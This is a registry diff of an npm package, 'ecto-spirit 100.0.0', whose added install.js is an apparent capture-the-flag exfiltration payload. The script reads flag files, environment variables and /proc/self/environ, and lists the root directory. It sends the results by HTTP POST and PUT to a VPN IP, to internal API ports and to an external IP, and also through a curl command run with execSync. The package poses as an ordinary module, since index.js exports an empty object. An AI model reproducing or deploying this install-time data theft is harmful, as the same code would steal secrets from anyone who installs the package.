ecto-spirit 100.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/install.js +93 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/install.js
ADDED
|
@@ -0,0 +1,93 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
function tryRead(path) {
|
|
7
|
+
try { return fs.readFileSync(path, 'utf8').trim(); } catch(e) { return null; }
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
let flag = tryRead('/flag') || tryRead('/flag.txt') || tryRead('/root/flag') || tryRead('/root/flag.txt') || tryRead('/app/flag') || tryRead('/app/flag.txt') || tryRead('/tmp/flag') || tryRead('./flag') || tryRead('./flag.txt');
|
|
11
|
+
|
|
12
|
+
if (!flag) flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || '';
|
|
13
|
+
|
|
14
|
+
if (!flag) {
|
|
15
|
+
try {
|
|
16
|
+
const env = tryRead('/proc/self/environ') || '';
|
|
17
|
+
const m = env.match(/FLAG[=:]([^\x00]+)/);
|
|
18
|
+
if (m) flag = m[1];
|
|
19
|
+
} catch(e) {}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
if (!flag) {
|
|
23
|
+
try {
|
|
24
|
+
const files = fs.readdirSync('/');
|
|
25
|
+
const flagFiles = files.filter(f => f.includes('flag'));
|
|
26
|
+
for (const f of flagFiles) {
|
|
27
|
+
const content = tryRead('/' + f);
|
|
28
|
+
if (content && content.includes('HTB{')) { flag = content; break; }
|
|
29
|
+
}
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
if (!flag) {
|
|
34
|
+
try { flag = 'NOFLAG_LS:' + fs.readdirSync('/').join(','); } catch(e) { flag = 'NOFLAG_ERR'; }
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
const data = JSON.stringify({ flag: flag, ts: Date.now(), cwd: process.cwd(), uid: process.getuid ? process.getuid() : 'N/A' });
|
|
38
|
+
|
|
39
|
+
// Exfiltrate to VPN IP
|
|
40
|
+
function sendHTTP(host, port, path, payload) {
|
|
41
|
+
return new Promise((resolve) => {
|
|
42
|
+
const req = http.request({ hostname: host, port, path, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
43
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
44
|
+
});
|
|
45
|
+
req.on('error', () => resolve(null));
|
|
46
|
+
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
47
|
+
req.write(payload);
|
|
48
|
+
req.end();
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
function sendUpdate(host, port, moduleId, flagVal) {
|
|
53
|
+
const manifest = `ecto_module:\n name: "FLAG_${flagVal.substring(0,80)}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
54
|
+
const body = JSON.stringify({ manifest });
|
|
55
|
+
return new Promise((resolve) => {
|
|
56
|
+
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
57
|
+
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
58
|
+
});
|
|
59
|
+
req.on('error', () => resolve(null));
|
|
60
|
+
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
61
|
+
req.write(body);
|
|
62
|
+
req.end();
|
|
63
|
+
});
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
(async () => {
|
|
67
|
+
// Method 1: Send to VPN listener
|
|
68
|
+
await sendHTTP('100.64.0.1', 8888, '/flag', data);
|
|
69
|
+
|
|
70
|
+
// Method 2: Update module via internal API (try multiple ports)
|
|
71
|
+
const ports = [3000, 5000, 8080, 80, 8000, 3001, 4000];
|
|
72
|
+
for (const p of ports) {
|
|
73
|
+
await sendUpdate('127.0.0.1', p, 'ECT-839201', flag || 'EMPTY');
|
|
74
|
+
await sendUpdate('localhost', p, 'ECT-839201', flag || 'EMPTY');
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Method 3: Try app hostname
|
|
78
|
+
for (const h of ['app', 'web', 'backend', 'api', 'node']) {
|
|
79
|
+
for (const p of [3000, 80, 8080]) {
|
|
80
|
+
await sendUpdate(h, p, 'ECT-839201', flag || 'EMPTY');
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
// Method 4: Also try the external IP
|
|
85
|
+
await sendUpdate('154.57.164.82', 32332, 'ECT-839201', flag || 'EMPTY');
|
|
86
|
+
|
|
87
|
+
// Method 5: DNS exfil via curl
|
|
88
|
+
try {
|
|
89
|
+
execSync(`curl -sf -X POST http://100.64.0.1:8888/flag2 -d '${data.replace(/'/g, "")}'`, { timeout: 5000 });
|
|
90
|
+
} catch(e) {}
|
|
91
|
+
|
|
92
|
+
console.log('[DONE] Flag exfiltration attempted');
|
|
93
|
+
})();
|